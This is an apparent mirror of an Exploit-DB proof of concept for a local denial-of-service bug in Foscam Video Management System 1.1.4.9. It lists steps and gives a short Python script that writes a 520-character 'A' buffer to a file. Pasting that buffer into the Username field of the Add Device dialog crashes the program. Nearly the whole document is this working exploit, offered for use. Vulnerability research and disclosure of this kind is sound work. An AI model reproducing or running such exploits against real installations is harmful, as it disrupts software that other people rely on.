Foscam Video Management System 1.1.4.9 – ‘Username’ Denial of Service (PoC) - 体验盒子

作者： chuyreds

日期： 2019-11-18

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/47671/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

# Exploit Title: Foscam Video Management System 1.1.4.9 - 'Username' Denial of Service (PoC)

# Author: chuyreds

# Discovery Date: 2019-11-16

# Vendor Homepage: https://www.foscam.es/

# Software Link : https://www.foscam.es/descarga/FoscamVMS_1.1.4.9.zip

# Tested Version: 1.1.4.9

# Vulnerability Type: Denial of Service (DoS) Local

# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:

# 1.- Run python code : python foscam-vms-uid-dos.py

# 2.- Open FoscamVMS1.1.4.9.txt and copy its content to clipboard

# 3.- Open FoscamVMS

# 4.- Go to Add Device

# 5.- Choose device type "NVR"/"IPC"

# 6.- Copy the content of the file into Username

# 7.- Click on Login Check

# 8.- Crashed

buffer = "\x41" * 520

f = open ("FoscamVMS_1.1.4.9.txt", "w")

f.write(buffer)

f.close()